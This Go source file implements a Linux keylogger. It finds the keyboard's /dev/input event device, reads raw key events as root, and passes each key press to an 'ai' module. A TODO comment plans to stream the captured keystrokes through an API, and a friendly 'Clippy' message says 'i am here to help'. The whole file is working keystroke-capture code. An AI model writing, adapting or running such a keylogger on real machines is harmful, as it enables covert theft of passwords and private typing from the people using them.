package main import ( "bytes" "encoding/binary" "errors" "fmt" "io/ioutil" "os" "strings" "syscall" "git.postblue.info/keygoller/ai" "git.postblue.info/keygoller/utils" "github.com/sirupsen/logrus" ) var () type InputStreamMap struct { events map[string]InputStream } type InputStream struct { event utils.InputEvent } // KeyLogger is a wrapper around a file descriptor. type KeyLogger struct { fd *os.File } func getKeyboard() string { path := "/sys/class/input/event%d/device/name" resolved := "/dev/input/event%d" for i := 0; i < 255; i++ { buff, err := ioutil.ReadFile(fmt.Sprintf(path, i)) if err != nil { logrus.Error(err) } if strings.Contains(strings.ToLower(string(buff)), "keyboard") { return fmt.Sprintf(resolved, i) } } return "" } func (k *KeyLogger) IsRoot() bool { return syscall.Getuid() == 0 && syscall.Geteuid() == 0 } func New(path string) (*KeyLogger, error) { k := &KeyLogger{} if !k.IsRoot() { return nil, errors.New("must be root") } fd, err := os.Open(path) if err != nil { return nil, err } k.fd = fd return k, nil } func (k *KeyLogger) Read() chan utils.InputEvent { event := make(chan utils.InputEvent) go func(even chan utils.InputEvent) { for { stream, err := k.read() if err != nil { logrus.Error(err) close(event) break } if stream != nil { event <- *stream } } }(event) return event } func (k *KeyLogger) read() (*utils.InputEvent, error) { buffer := make([]byte, utils.Eventsize) n, err := k.fd.Read(buffer) if err != nil { return nil, err } if n <= 0 { return nil, nil } return k.eventFromBuffer(buffer) } func (k *KeyLogger) eventFromBuffer(buffer []byte) (*utils.InputEvent, error) { event := &utils.InputEvent{} err := binary.Read(bytes.NewBuffer(buffer), binary.LittleEndian, event) return event, err } func (k *KeyLogger) Close() error { if k.fd == nil { return nil } return k.fd.Close() } func main() { fmt.Println("Your keyboard input will be here: ", getKeyboard()) utils.ClippySays("i am here to help") // TODO // 3 stream the data through an api StreamChannel := make(chan utils.InputEvent) keyboard := getKeyboard() klog, err := New(keyboard) if err != nil { logrus.Error(err) os.Exit(1) } defer klog.Close() events := klog.Read() go ai.ReadFromStream(StreamChannel) for e := range events { switch e.Type { case utils.EvKey: if e.KeyPress() { StreamChannel <- e } break default: continue } } }